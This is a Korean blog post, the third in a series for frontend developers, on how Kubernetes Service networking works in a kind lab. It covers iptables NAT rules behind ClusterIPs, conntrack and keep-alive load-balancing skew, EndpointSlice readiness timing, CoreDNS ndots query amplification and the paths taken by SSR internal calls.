응답이 온다. 두 편에 걸쳐 예고한 실험이 첫 명령에서 어긋난 것이다. 당황해서 어떤 Service에도 할당되지 않은 10.96.222.222에 ping을 쳐 봤다. 역시 응답한다. 그러면 존재 자체가 불가능한 주소는 어떤가. 198.51.100.7은 RFC 5737이 문서 예시용으로 예약해 둔 대역(TEST-NET-2)이라, 인터넷 어디에도 이 주소로 응답하는 호스트가 있어서는 안 된다.

```bash
$ kubectl exec debug -- ping -c 3 198.51.100.7
64 bytes from 198.51.100.7: seq=0 ttl=62 time=0.147 ms
3 packets transmitted, 3 packets received, 0% packet loss
```

이것마저 응답한다. 전부 같은 ttl=62, 1ms 미만이다. 세상 모든 IP가 0.5ms 거리에 살아 있는 것처럼 보이는 이 상황의 정체는, 쿠버네티스가 아니라 실험 환경 쪽에 있었다. 이 실험은 macOS 위의 colima VM에서 도는데, colima의 유저모드 네트워크 게이트웨이가 사실상 모든 목적지의 ICMP echo에 대신 응답해 준다. 리눅스에 도커를 직접 올린 환경에서는 이런 위조 계층이 없어서, 같은 명령이 예고대로 타임아웃으로 끝나는 것으로 알려져 있다. 즉 ping의 성공도 실패도 환경에 따라 갈리는 값이라, 이 수수께끼의 증거로는 쓸 수 없게 됐다.

그런데 이 소동 덕에 질문이 오히려 선명해졌다. curl 쪽을 다시 보면, 진짜 ClusterIP에는 200이 오지만 미할당 IP에는 5초를 기다려도 아무것도 오지 않는다. ping은 거짓말을 해도 curl은 정확히 구분하고 있는 것이다. 그러니 이 글의 질문은 이렇게 다시 세울 수 있다. **어느 기계에도 붙어 있지 않은 IP에, curl은 어떻게 닿는가.** 이번에는 관찰이 아니라 규칙의 원문을 열어서 증명할 것이고, 그 추적이 분배의 단위(conntrack), 트래픽 대상 명단(EndpointSlice), 이름의 해석(클러스터 DNS), 바깥에서 들어오는 문(Gateway), 그리고 그 전부를 우회하는 터널(port-forward)까지 이어진다. 시작하자마자 실험 환경의 함정을 하나 밟은 이 장면은, 마지막 절에서 다룰 "로컬에선 됐는데"라는 주제의 축소판이기도 하다.

이 글은 "프론트엔드 개발자가 알아야 할 쿠버네티스" 시리즈의 세 번째 편이다. 용어가 낯설면 [1편의 개념 지도](/2026/08/k8s-for-frontend-1)를, 파드와 컨테이너의 실체는 [2편](/2026/08/k8s-for-frontend-2)을 먼저 읽는 것을 권한다.

> 측정 환경: Apple M5 macOS 위의 colima VM(4 CPU/8GB), kind v0.32.0(kindest/node v1.36.1, Kubernetes v1.36.1), kube-proxy는 kind 기본값인 iptables 모드, 노드의 iptables는 v1.8.11(nf_tables), 앱은 Next.js 16.2.12 standalone(node:24-slim, Node v24.19.0, glibc)이다. LoadBalancer와 Gateway는 cloud-provider-kind v0.11.1과 Gateway API CRD v1.5.1로 구성했다. 배포 구성은 [2편](/2026/08/k8s-for-frontend-2)에서 세 가지가 달라졌다. Deployment는 2레플리카에서 3레플리카로 늘렸고, readiness probe는 `/api/health`를 5초 간격으로 본다(periodSeconds 5. 2편 매니페스트는 기본값인 10초였다). 그리고 2편까지는 만들지 않았던 Service를 이번에 추가했다. `app: k8s-fe-lab` 레이블의 파드들을 셀렉터로 묶어 port 80을 targetPort 3000에 연결하는 ClusterIP 타입이고, 본문의 10.96.35.226이 이 Service가 할당받은 주소다. 재현 시 두 가지 유의 사항이 있다. colima의 유저모드 네트워크는 위에서 본 것처럼 모든 ICMP에 대신 응답하고, 앱 컨테이너(node:24-slim)에는 ping/curl/dig가 없어서 진단 도구를 담은 debug 파드와 Node 기준 실측(fetch, `dns.lookup`)용 client 파드를 따로 띄웠다. 측정 스크립트와 raw 로그는 별도 보관했다.

## 응답한 것은 누구인가: 규칙으로만 존재하는 IP

1편에서 kube-proxy를 "파드로 트래픽이 찾아올 수 있게 각 노드의 네트워크 규칙을 관리한다"라고만 적고 넘어갔다. 그 미뤄둔 설명을 여기서 회수한다. ClusterIP의 실체가 바로 그 "규칙"이기 때문이다.

kind의 노드는 도커 컨테이너이므로(2편), `docker exec`로 노드에 들어가 NAT(패킷의 주소를 바꿔 쓰는 커널의 규칙층) 규칙을 직접 덤프할 수 있다. 노드의 iptables(리눅스 커널의 패킷 처리 규칙을 관리하는 도구) 규칙에서 우리 Service를 찾으면 이렇게 나온다.

```text
$ docker exec k8s-fe-lab-worker iptables-save -t nat | grep 10.96.35.226
-A KUBE-SERVICES -d 10.96.35.226/32 -p tcp -m comment --comment "default/k8s-fe-lab cluster IP"
   -m tcp --dport 80 -j KUBE-SVC-ISVZ3COTGREXVRO2
```

읽어 보면, 목적지가 10.96.35.226이고 TCP 80 포트인 패킷을 `KUBE-SVC-ISVZ3COTGREXVRO2`라는 체인으로 넘기라는 규칙이다. 그 체인을 열면, 개인적으로 이 시리즈를 준비하며 본 것 중 가장 인상적이라고 생각한 규칙이 나온다.

```text
... (마스커레이드 마킹 규칙 KUBE-MARK-MASQ 한 줄 생략)
-A KUBE-SVC-ISVZ3COTGREXVRO2 -m comment --comment "default/k8s-fe-lab -> 10.244.1.12:3000"
   -m statistic --mode random --probability 0.33333333349 -j KUBE-SEP-FRMIQDBY5TTCZ5G3
-A KUBE-SVC-ISVZ3COTGREXVRO2 -m comment --comment "default/k8s-fe-lab -> 10.244.1.13:3000"
   -m statistic --mode random --probability 0.50000000000 -j KUBE-SEP-DIIQGOM6OBXKX6MD
-A KUBE-SVC-ISVZ3COTGREXVRO2 -m comment --comment "default/k8s-fe-lab -> 10.244.2.11:3000"
   -j KUBE-SEP-5SCZPP47RXDJDPM7
```

3레플리카에 대한 로드밸런싱이 이 세 줄이다. 첫 규칙이 1/3 확률로 첫 파드를 고르고, 남은 2/3 중 절반(0.5)이 둘째 파드, 나머지는 무조건 셋째 파드로 간다. 결과적으로 각 파드가 1/3씩 받는 확률의 폭포다. 규칙 주석에 대상 파드 IP까지 박혀 있어서, 이 덤프만으로 어느 파드로 갈 수 있는지가 다 보인다. 각 KUBE-SEP 체인의 내용은 DNAT, 즉 목적지 주소를 바꿔치기하는 것이다.

```text
-A KUBE-SEP-FRMIQDBY5TTCZ5G3 -p tcp -m comment --comment "default/k8s-fe-lab"
   -m tcp -j DNAT --to-destination 10.244.1.12:3000
```

여기까지 오면 인트로의 질문에 답할 수 있다. curl이 10.96.35.226에 닿는 것처럼 보였던 이유는, 그 주소로 가는 패킷이 노드를 지나는 순간 커널이 목적지를 파드 IP로 바꿔 써 버리기 때문이다. **ClusterIP라는 기계는 어디에도 없다. 각 노드의 NAT 규칙 안에 문자열로만 존재한다.** 그 규칙을 Service와 파드 목록의 변화에 맞춰 계속 다시 쓰는 프로세스가 kube-proxy다.

ping이 (제대로 된 환경에서) 실패하는 이유도 같은 덤프에서 확인된다. NAT 테이블 전체에서 프로토콜 매칭을 세어 보면 TCP/UDP 포트 매칭 규칙이 18개, ICMP를 매칭하는 규칙은 0개다. ping이 쓰는 ICMP 패킷은 위의 어떤 규칙에도 걸리지 않고, 바꿔치기되지 못한 목적지 10.96.35.226에는 응답할 실체가 없다. 존재하지 않는 IP가 curl에는 응답하고 ping에는 침묵하는 이유가, 규칙이 "TCP 80 포트"라고 명시된 데까지 내려가면 당연한 일이 된다.

버전 이야기를 여기서 한 번 정리해 둘 필요가 있다. 이 iptables 모드는 v1.36 기준으로도 리눅스에서 kube-proxy의 기본값이다. 후계자인 [nftables 모드](https://kubernetes.io/blog/2025/02/28/nftables-kube-proxy/)가 v1.33에서 GA가 됐지만 기본값은 바뀌지 않았고, 한때 대안으로 꼽히던 IPVS 모드는 v1.35에서 폐기 예정(deprecated)이 된 데 이어 v1.36에서는 아예 제거됐다. 그래서 이 글은 iptables 모드만 해부한다. 한 가지 주의할 점은, v1.35 이하 클러스터에 아직 남아 있을 수 있는 IPVS 모드에서는 ClusterIP가 노드의 더미 인터페이스에 실제로 바인드되어 ping이 진짜로 응답한다는 것이다. "ClusterIP는 ping이 안 된다"는 서술 자체가 모드 한정의 이야기인 셈이다.

재미있는 층이 하나 더 있다. 노드의 iptables 버전이 v1.8.11(nf_tables)인데, 이는 iptables 명령이 실제로는 커널의 nftables 하위 시스템에 규칙을 쓰는 호환 계층이라는 뜻이다. 실제로 nft 명령으로 같은 체인을 열면 동일한 규칙이 nft 문법으로 보이고, 첫 줄에 이런 경고까지 나온다.

```text
$ docker exec k8s-fe-lab-worker nft list chain ip nat KUBE-SERVICES
# Warning: table ip nat is managed by iptables-nft, do not touch!
```

즉 "kube-proxy의 iptables 모드"와 "커널의 nftables"는 서로 다른 층의 이야기라서, iptables 모드조차 커널 안에서는 nftables로 구현되어 있다. kube-proxy의 nftables 모드는 이 호환 계층을 걷어내고 nftables API를 직접 쓰는 재작성이라고 이해하면 된다.

> **단서 노트**: ClusterIP는 어느 기계에도 없고, 각 노드의 NAT 규칙 안에만 있다. curl이 닿는 것은 커널이 목적지를 파드 IP로 바꿔 쓰기 때문이고, ping이 침묵하는 것은 규칙이 TCP 80만 매칭하기 때문이다.

## 쉬어가기: 전화기 없는 대표번호

여기서 잠깐 비유 하나로 지금까지의 그림을 정리해 둔다. 회사 대표번호로 전화를 걸면 실제로는 상담원 중 한 명에게 연결되는데, 대표번호 자리에 전화기가 놓여 있는 것은 아니다. ClusterIP가 그 대표번호다. 교환대에는 걸려온 전화를 어느 내선으로 꽂을지 정하는 규칙표가 있고, 그것이 방금 본 iptables의 확률 규칙이다. 그리고 이 비유에서 미리 챙겨둘 부분이 두 가지 있다. 일단 연결된 통화는 끊길 때까지 교환대를 다시 거치지 않는다는 것(다음 절의 conntrack), 그리고 전화번호부는 번호를 알려줄 뿐 통화 자체에는 관여하지 않는다는 것(DNS 절)이다.

| 전화 비유                             | 쿠버네티스                    |
| ------------------------------------- | ----------------------------- |
| 전화기가 놓여 있지 않은 대표번호      | ClusterIP                     |
| 교환대의 연결 규칙표                  | iptables의 KUBE-SVC 확률 규칙 |
| 규칙표를 계속 갱신하는 담당자         | kube-proxy                    |
| 오늘 근무 중인 상담원 명단            | EndpointSlice (두 절 뒤)      |
| 일단 연결되면 교환대를 안 거치는 통화 | conntrack (바로 다음 절)      |
| 대표번호를 찾는 전화번호부            | 클러스터 DNS (세 절 뒤)       |

## 분배는 왜 요청 단위가 아닌가: keep-alive와 conntrack

앞 절의 확률 규칙을 보면 요청이 파드 세 개에 고르게 흩어질 것 같지만, 실제로 BFF(프론트엔드 팀이 관리하는 API 중간 서버)를 운영하다 보면 파드 하나만 유난히 바쁜 그래프를 만나게 된다. 그 이유를 클러스터 안의 클라이언트 파드에서 직접 재현해 봤다. Node.js의 내장 fetch로 Service에 30번 연속 요청을 보내고, 응답에 실린 파드 이름을 세는 실험이다.

| 호출 방식 (모두 같은 Service, 3레플리카)   | 파드별 응답 수        |
| ------------------------------------------ | --------------------- |
| 단일 Node 프로세스에서 fetch 30회 연속     | **30 / 0 / 0**        |
| 요청마다 새 프로세스(새 TCP 커넥션)로 21회 | 9 / 6 / 6             |
| 단일 프로세스, 요청 간격 4.5초로 8회       | 4 / 3 / 1 (매번 섞임) |

첫 행이 문제의 재현이다. 30번의 요청이 전부 한 파드로 갔다. 확률 규칙이 고장 난 것이 아니라, 그 규칙이 **적용되는 단위가 요청이 아니라 커넥션**이기 때문이다. iptables의 NAT는 커넥션의 첫 패킷에만 적용되고, 커널은 그 결정을 conntrack(연결 추적 테이블)에 기록해 뒀다가 같은 커넥션의 나머지 패킷을 전부 같은 파드로 보낸다. 노드에서 그 테이블을 열어 보면 결정의 기록이 그대로 있다.

```text
$ docker exec k8s-fe-lab-worker conntrack -L -d 10.96.35.226
tcp  ESTABLISHED src=10.244.1.9 dst=10.96.35.226 sport=45364 dport=80
     src=10.244.1.13 dst=10.244.1.9 sport=3000 dport=45364 [ASSURED]
```

클라이언트(10.244.1.9)가 ClusterIP로 보낸 커넥션이 파드 10.244.1.13으로 변환되어 고정돼 있다(살아 있는 커넥션을 잡으려고 2초 간격 호출을 돌리는 동안 캡처한 것으로, 요청이 끝난 직후에 잡으면 같은 엔트리가 TIME_WAIT 상태로 남아 있다).

그럼 왜 30번의 요청이 커넥션 하나였는가. Node의 fetch를 구현하는 undici가 기본으로 keep-alive 커넥션 풀을 쓰고, 그 유지 시간([keepAliveTimeout](https://github.com/nodejs/undici/blob/v7.29.0/docs/docs/api/Client.md), Node v24.19.0 내장 undici v7.29.0 기준)이 기본 4초이기 때문이다. SSR이나 BFF처럼 같은 내부 API를 계속 부르는 서버에서는 요청 간격이 4초를 넘기 어려우니, 사실상 커넥션 하나가 계속 재사용된다. 표의 셋째 행이 그 경계의 증명이다. 요청 간격을 4.5초로 벌리자 커넥션이 매번 새로 열리면서 분배가 되살아났다.

이것이 실무에서 뜻하는 바는 분명하다. **커넥션을 오래 유지하는 클라이언트에게 Service의 로드밸런싱은 사실상 없다.** 레플리카를 늘려도 기존 커넥션은 옮겨가지 않고, BFF 인스턴스 수가 적으면 뒷단 파드 몇 개에 부하가 쏠린다. 이 성질은 gRPC처럼 커넥션을 더 오래 쓰는 프로토콜에서 더 심해지는 것으로 [잘 알려져 있고](https://learnkube.com/kubernetes-long-lived-connections), 해법은 커넥션 수명을 제한하거나, 클라이언트 쪽에서 파드 목록을 보고 직접 분배하거나, 서비스 메시처럼 요청 단위로 프록시하는 층을 두는 쪽으로 간다. 어느 쪽이든 "Service가 알아서 골고루 나눠 줄 것"이라는 가정부터 접는 것이 시작이라고 생각한다.

재현할 때 주의할 점이 하나 있다. undici의 fetch는 Connection 헤더 지정을 금지해서, 헤더로는 keep-alive를 끌 수 없다. 요청마다 새 dispatcher(undici의 Agent)를 만들어 넘기는 방법도 있지만, 위 실험은 더 단순하고 확실한 "요청마다 새 프로세스"로 대조군을 만들었다.

> **단서 노트**: 분배는 커넥션이 태어나는 순간 한 번만 일어나고, conntrack이 그 결정을 커넥션이 끝날 때까지 고정한다. keep-alive가 기본인 Node fetch의 연속 호출은 그래서 한 파드로 쏠린다.

## 파드는 언제 명단에서 빠지는가: EndpointSlice 전환 타임라인

지금까지는 파드 세 개가 모두 건강한 상태였다. 이제 그중 하나가 아프면 무슨 일이 일어나는지 볼 차례인데, 그 전에 1편에서 소개한 Endpoints를 kubectl로 조회해 보면 흥미로운 것이 나온다.

```text
$ kubectl get endpoints
Warning: v1 Endpoints is deprecated in v1.33+; use discovery.k8s.io/v1 EndpointSlice
```

1편에서 "Service가 트래픽을 보낼 준비된 파드 목록"이라고 소개한 Endpoints는, v1.33부터 공식적으로 폐기 예정이 된 [구세대 API](https://kubernetes.io/blog/2025/04/24/endpoints-deprecation/)다. 오브젝트 자체는 계속 존재하고 채워지지만, 표준은 EndpointSlice로 넘어갔다. 그래서 이 글의 실측은 전부 EndpointSlice 기준으로 진행한다.

EndpointSlice를 직접 열어 보면 1편의 설명을 정정할 부분이 하나 나온다. readiness에 실패한 파드는 명단에서 "빠지는" 것이 아니다. 엔드포인트는 목록에 그대로 남고, 세 가지 조건 중 `ready`가 false로 뒤집힐 뿐이다. 조건은 ready(트래픽을 받아도 되는가), serving(종료 여부와 무관하게 응답할 수 있는가), terminating(종료 중인가)의 셋인데, terminating은 파드가 죽는 이야기라 [다음 편](/2026/08/k8s-for-frontend-4)의 몫이고, 이번 편은 살아 있는 파드의 ready 전환만 다룬다.

그 전환에 시간이 얼마나 걸리는지 재 봤다. 예제 앱에 `/api/toggle?ready=false`를 추가해서, 프로세스는 멀쩡히 살아 있는 채로 readiness probe만 503을 받게 만들었다. 실험자가 실패의 시작 시각(T0)을 정할 수 있게 한 것이다. 동시에 클러스터 안에서 요청마다 새 커넥션을 여는 트래픽을 120ms 간격으로 계속 흘리면서(앞 절에서 본 대로, keep-alive 커넥션은 분배가 고정되어 이런 관찰에 쓸 수 없다), EndpointSlice의 ready 조건과 노드의 KUBE-SEP 규칙 존재 여부를 약 0.2초 간격(150ms 대기에 명령 실행 시간이 더해진 실측 간격)으로 관찰했다. probe는 5초 간격이고, 연속 3회 실패해야 NotReady가 되는 기본값(failureThreshold 3) 그대로다.

| 사건 (탈락 방향)                            | 시각 (실측) | T0 기준 |
| ------------------------------------------- | ----------- | ------- |
| `/api/health`가 503을 돌려주기 시작 (T0)    | 13:46:36.4  | 0초     |
| kubelet이 3연속 실패 확인, 파드 Ready=False | 13:46:47    | +10.6초 |
| 해당 파드로의 마지막 실트래픽 관찰          | 13:46:47.3  | +10.9초 |
| 노드의 KUBE-SEP 규칙(DNAT 대상) 소멸 관찰   | 13:46:47.7  | +11.4초 |
| EndpointSlice `ready=false` 관찰            | 13:46:47.7  | +11.4초 |

마지막 두 관찰은 6ms 차이로 폴링 해상도 안에 있어, 선후를 말할 수 없는 사실상의 동시 사건이다(인과 순서는 슬라이스 갱신이 먼저다). 표에서 눈에 띄는 것은 시간의 분포다. 11초 남짓 중 10.6초가 probe의 감지 창(5초 간격 x 3연속 실패)이고, kubelet의 판정에서 EndpointSlice 갱신, kube-proxy의 규칙 재작성, 실제 트래픽 이탈까지의 전파는 전부 같은 1초 안에서 끝났다. 이 중 명단 갱신부터 규칙 반영까지는 쿠버네티스가 [in-cluster network programming latency](https://github.com/kubernetes/community/blob/master/sig-scalability/slos/network_programming_latency.md)라는 이름의 공식 SLI(Service Level Indicator, 서비스 품질을 재는 지표)로 정의하는 구간이고, kube-proxy가 그 지연을 노드 안 127.0.0.1:10249에 히스토그램 메트릭으로 노출한다. 이번 실험의 전환 두 번 동안 그 카운트가 38에서 40으로 늘었고 누적 합은 1.52초 늘었으니, 명단 갱신부터 규칙 반영까지 한 번에 평균 0.76초가 걸린 셈이다. 즉 이 지연을 줄이고 싶다면 조정할 대상은 클러스터가 아니라 probe 설정 쪽이라는 결론이 나온다.

복귀 방향도 같은 방법으로 쟀다.

| 사건 (복귀 방향)                                | 시각 (실측) | T1 기준 |
| ----------------------------------------------- | ----------- | ------- |
| `/api/health`가 200을 돌려주기 시작 (T1)        | 13:47:08.5  | 0초     |
| 파드 Ready=True                                 | 13:47:12    | +3.5초  |
| EndpointSlice `ready=true` + KUBE-SEP 규칙 복원 | 13:47:12.8  | +4.3초  |
| 해당 파드로의 첫 실트래픽 복귀                  | 13:47:12.8  | +4.3초  |

탈락에 11초, 복귀에 4초. 이 비대칭은 우연이 아니라 기본값의 설계다. 탈락은 연속 3회 실패(failureThreshold 3)를 요구하지만 복귀는 성공 1회(successThreshold 1)면 충분하다. 트래픽에서 빼는 결정은 신중하게, 되돌리는 결정은 빠르게 하겠다는 뜻으로 읽힌다. 참고로 readiness probe는 liveness와 달리 successThreshold를 1보다 크게 줄 수 있어서, 복귀 쪽을 일부러 신중하게 만들어 잦은 왕복(flapping)을 누르는 조정도 가능하다.

기록해 둘 만한 관찰이 하나 더 있다. 이 전환 실험 동안 흘린 826개의 요청 중 **에러는 0개였다.** readiness에 의한 탈락은 새 커넥션이 그 파드를 피해 가게 만드는 일이라, 이미 진행 중인 요청을 죽이지 않는다. 다만 이 0을 readiness의 공으로만 읽으면 곤란하다. 이 실험은 probe 응답만 503으로 바꿨을 뿐 앱은 내내 정상이어서, 감지 창 10.6초 동안 그 파드로 간 요청들도 전부 200을 받았다. 파드가 실제로 고장 난 상황이라면 바로 그 감지 창이 에러가 새는 구간이 된다. 여기서 확인된 것은 전환 메커니즘 자체가 요청을 흘리지 않는다는 것까지다. 배포 때마다 5xx가 새는 문제는 이 경로가 아니라 파드가 종료될 때의 다른 경주에서 나오는데, 그 이야기는 [파드의 삶과 죽음 편](/2026/08/k8s-for-frontend-4)에서 재현한다.

> **단서 노트**: readiness 실패는 명단 제거가 아니라 EndpointSlice ready 조건의 전환이고, 지연의 지배항은 전파(1초 미만)가 아니라 probe 감지 창이다. 탈락(3연속 실패)과 복귀(1회 성공)는 의도된 비대칭이다.

## 같은 이름인데 왜 빠르고 느린가: 클러스터 DNS와 ndots

지금까지 클라이언트는 ClusterIP 숫자를 직접 썼지만, 실제 코드는 `http://internal-api` 같은 이름을 쓴다. 이름이 ClusterIP가 되는 과정에도 함정이 하나 숨어 있어서, 같은 Service를 어떻게 표기하느냐에 따라 DNS 왕복 수가 4배까지 벌어진다. 출발점은 파드 안의 리졸버 설정 파일이다.

```text
$ kubectl exec client -- cat /etc/resolv.conf
search default.svc.cluster.local svc.cluster.local cluster.local
nameserver 10.96.0.10
options ndots:5
```

nameserver는 클러스터 DNS(CoreDNS)의 ClusterIP다. 문제는 나머지 두 줄의 조합이다. search는 이름 조회가 실패(NXDOMAIN, 그런 이름은 없다는 응답)했을 때 뒤에 붙여 볼 접미사 목록이고, ndots:5는 "점이 5개 미만인 이름은 완전한 이름이 아닐 수 있으니 search 접미사부터 붙여 보라"는 지시다. 점이 5개 이상인 도메인은 흔치 않으므로, 파드 안에서 조회하는 거의 모든 이름이 search 순회를 거치게 된다.

이게 실제로 몇 번의 조회를 만드는지, CoreDNS의 log 플러그인을 켜서 쿼리를 전수 계수해 봤다. 조회는 glibc 파드의 Node `dns.lookup`(HTTP 클라이언트가 실제로 타는 경로)으로 했고, A와 AAAA 레코드가 병렬로 나가므로 이름 시도 1번이 쿼리 2개다.

| 같은 Service의 표기                       | 이름 시도 | DNS 쿼리 | NXDOMAIN | 조회 지연 |
| ----------------------------------------- | --------- | -------- | -------- | --------- |
| `internal-api`                            | 1         | 2        | 0        | 2.4ms     |
| `internal-api.default`                    | 2         | 4        | 2        | 2.5ms     |
| `internal-api.default.svc.cluster.local`  | **4**     | **8**    | **6**    | 2.8ms     |
| `internal-api.default.svc.cluster.local.` | 1         | 2        | 0        | 2.3ms     |

셋째 행이 이 표의 반전이다. 흔히 "정식 이름"이라 부르는 FQDN(fully qualified domain name, 도메인 전체를 끝까지 적은 이름)이 가장 많은 쿼리를 만든다. 점이 4개라 ndots:5의 기준에 미달하고, 그래서 search 접미사 세 개를 전부 붙여 NXDOMAIN을 세 번 받은 뒤에야 원래 이름을 시도하기 때문이다. 반대로 단축명은 첫 search 후보에서 바로 적중하고, 끝에 점을 붙인 이름(trailing dot)은 절대 이름으로 취급되어 search를 아예 건너뛴다. 클러스터 안에서는 지연 차이가 ms 단위에서 안 보일 만큼 작지만(클러스터 내부 이름은 CoreDNS 자신이 원본 데이터를 들고 있어 바로 답한다), 쿼리 수는 표 그대로 4배다.

외부 도메인도 증폭 자체는 피하지 못한다. 같은 방법으로 `www.example.com`(점 2개)을 조회하면 search 후보 3개가 전부 NXDOMAIN, 마지막 절대 이름 시도까지 이름 4개 x A/AAAA = **쿼리 8개**가 나간다. 콜드 조회에 73.9ms가 걸렸고 끝에 점을 붙인 `www.example.com.`은 쿼리 2개에 2.3ms였는데, 이 차이를 증폭의 비용으로 읽으면 안 된다. 뒤쪽은 직전 조회로 CoreDNS에 캐시가 생긴 웜 상태라 업스트림 왕복 자체가 빠진 수치이고, 이 환경의 search 접미사는 셋 다 cluster.local 하위라 NXDOMAIN 6개도 CoreDNS가 즉답하는, 비용이 거의 들지 않는 실패다. 즉 73.9ms의 지배항은 증폭이 아니라 마지막 절대 이름의 업스트림 왕복이다. 증폭이 지연과 안정성 문제로 본격화되는 것은 EKS처럼 노드의 search를 상속받아 접미사 붙은 실패 조회까지 업스트림으로 포워딩되는 환경이나 UDP 유실로 재시도가 겹치는 순간이고, 그런 조건이 아니어도 쿼리 수 4배는 CoreDNS와 업스트림의 부하로 고스란히 남는다.

이걸 직접 재 보려는 분을 위해 측정 함정도 두 개 적어 둔다. 처음에 dig로 시도했다가 증폭이 전혀 재현되지 않아 한참을 헤맸는데, dig는 기본으로 search 목록을 쓰지 않는다(`+search`를 붙여야 한다). 그리고 CoreDNS 설정에 `cache 30`이 있어 응답이 30초 캐시되므로, 반복 측정은 콜드와 웜을 구분해야 한다(이 kind 환경의 기본 Corefile은 cluster.local 이름의 캐시를 꺼 두고 있어서, 캐시를 타는 것은 외부 이름 쪽이다). log 플러그인은 성능 비용 경고가 있으니 측정이 끝나면 빼는 것이 안전하다.

Node.js 쪽 사정까지 겹치면 이 함정의 실무 조건이 완성된다. 조회가 일어나는 빈도부터가 요청 단위가 아니라 커넥션 단위다. undici의 keep-alive 덕에 평상시에는 조회가 드물다가, 트래픽 스파이크나 뒷단 재배포로 커넥션이 한꺼번에 새로 열리는 순간 조회가 몰린다. 그 조회 하나하나가 ndots 때문에 최대 8쿼리로 증폭되고, `dns.lookup`은 [libuv 스레드풀(기본 4개)에서 도는 동기 getaddrinfo](https://nodejs.org/api/dns.html)라 파일 IO와 스레드를 놓고 경쟁하며, Node 코어에는 DNS 캐시가 없어서 같은 이름도 매번 다시 조회한다. 완화책은 원인별로 하나씩 대응된다. 표기를 단축명이나 trailing dot으로 바꾸고(외부 HTTPS 대상에는 trailing dot이 SNI(Server Name Indication, TLS 연결에서 접속하려는 서버 이름을 미리 알리는 확장) 쪽 부작용을 만들 수 있어 내부 HTTP 호출에 한정하는 편이 안전하다), 파드 spec의 dnsConfig로 ndots를 낮추고, keep-alive로 커넥션 수명을 늘려 조회 빈도 자체를 줄이고(다만 이는 앞 절의 쏠림과 반대 방향의 힘이라, 커넥션을 오래 쥘수록 조회는 줄고 분배는 나빠진다), 필요하면 undici의 dns 인터셉터 같은 애플리케이션 캐시를 붙이는 식이다. 한 가지, ndots를 낮추는 방법은 musl(alpine) 이미지에서는 리졸버의 폴백 동작이 glibc와 달라 점 있는 내부 이름을 깨뜨릴 수 있다. 2편의 감량 마지막 단계가 alpine 이미지였기 때문에 특히 짚어 둔다. 이 절의 측정은 전부 glibc(node:24-slim) 기준이다.

이름 이야기의 마지막으로, ExternalName이라는 특이한 Service 타입의 실체도 확인해 봤다. 외부 도메인에 클러스터 내부 이름을 붙여 주는 타입인데, 열어 보면 프록시도 ClusterIP도 없고 DNS가 CNAME 한 줄을 돌려주는 것이 전부다.

```text
$ kubectl exec debug -- dig +search external-api
external-api.default.svc.cluster.local. 5 IN CNAME example.com.
```

그래서 HTTPS와 만나면 바로 함정이 된다. 코드가 부른 이름(external-api.default.svc.cluster.local)과 TLS 서버가 아는 이름(example.com)이 달라지기 때문이다. 실제로 이 이름으로 fetch를 시도하면 핸드셰이크가 거부된다(이 실험에서는 서버가 낯선 SNI를 거절하는 `SSL/TLS_ALERT_HANDSHAKE_FAILURE`가 났다). 쿠버네티스 문서도 이 문제를 [공식적으로 경고](https://kubernetes.io/docs/concepts/services-networking/service/#externalname)하고 있어서, HTTPS 대상이라면 ExternalName보다 실제 도메인을 코드에 쓰는 쪽이 나은 선택일 것이다. 이보다 더 깊은 DNS의 세계(glibc의 A/AAAA 병렬 전송과 유명한 간헐적 5초 지연, 그 완화책인 NodeLocal DNSCache)는 이 글의 범위를 넘으니 [공식 문서](https://kubernetes.io/docs/tasks/administer-cluster/nodelocaldns/)로 미뤄 둔다.

> **단서 노트**: ndots:5와 search 3개의 조합 때문에 표기가 성능이 된다. 단축명 2쿼리, 정식 FQDN 8쿼리로 정식 이름이 가장 느리고, 외부 도메인 조회도 8쿼리로 증폭된다. 조회 빈도는 커넥션 단위라 스파이크 때 몰린다.

## 같은 URL, 두 개의 경로: SSR의 내부 호출은 다른 길을 간다

여기까지 모은 조각으로 이 시리즈가 계속 강조해 온 축 하나를 실측으로 완성할 수 있다. 브라우저의 fetch와 SSR 서버 안의 fetch는, 같은 코드처럼 생겼어도 완전히 다른 길을 간다는 것이다.

실험을 위해 같은 앱 이미지를 `internal-api`라는 이름의 두 번째 Deployment와 Service로 하나 더 띄우고, 앱에 `/api/bff` 엔드포인트를 추가했다. SSR 서버가 `http://internal-api/api/info`를 서버 사이드 fetch로 부르고, 누가 응답했는지를 돌려주는 구성이다. 이 호출을 5번 반복하면서 앞 절들의 도구로 경로를 추적했다.

```text
{"via":"k8s-fe-lab-...-lhlf9","target":"http://internal-api","ms":9.3,"upstream":{"pod":"internal-api-...-2j92t"}}
{"via":"k8s-fe-lab-...-lhlf9","target":"http://internal-api","ms":3.0,"upstream":{"pod":"internal-api-...-2j92t"}}
```

관찰된 사실은 세 가지다. 첫째, 이름 해석은 DNS 절의 첫 행 그대로였다. log 플러그인을 켠 채 호출해 보면, CoreDNS 로그에 앱 파드가 보낸 `internal-api.default.svc.cluster.local`의 A/AAAA 쿼리가 정확히 2개 남는다(단축명이라 첫 search 후보에서 적중했고, 권위 응답이라 각각 0.1ms 안에 끝났다). 둘째, 커넥션은 internal-api의 ClusterIP(10.96.135.219)를 향했고, 노드의 KUBE-SVC 체인 패킷 카운터를 0으로 지우고 5회를 호출했더니 카운터가 정확히 1 올랐다. NAT 규칙은 커넥션의 첫 패킷만 세므로, 5번의 호출이 keep-alive 커넥션 하나로 처리됐다는 뜻이다. 첫 호출만 9.3ms이고 나머지가 3ms인 것도 같은 이유다. 셋째, 그래서 다섯 번의 응답이 전부 같은 internal-api 파드에서 왔다. keep-alive 쏠림이 BFF의 내부 호출 층에서도 그대로 재현된 것이다.

같은 도메인을 브라우저가 부를 때는 이 중 어느 것도 일어나지 않는다. 이름은 사용자 단말의 리졸버와 퍼블릭 DNS가 풀고(ndots의 세계와 무관하다), 요청은 CDN과 로드밸런서를 거쳐 다음 절의 문으로 들어오며, 클러스터 안 어느 노드의 conntrack에도 브라우저와 파드를 잇는 엔트리는 없다. 반대로 브라우저에서도 풀리는 퍼블릭 도메인이라 해도 SSR 안에서 부르는 순간에는 DNS 절의 www.example.com 실측처럼 8쿼리 순회가 일어난다. 경로를 가르는 것은 URL이 아니라 그것을 부르는 위치다. 정리하면 이렇다.

| 구분        | 브라우저의 fetch             | SSR/BFF 안의 fetch                     |
| ----------- | ---------------------------- | -------------------------------------- |
| 이름 해석   | 단말 리졸버, 퍼블릭 DNS      | 파드 resolv.conf, search 순회, CoreDNS |
| 도달 경로   | CDN, LB, Gateway를 거쳐 유입 | ClusterIP DNAT로 파드 직행             |
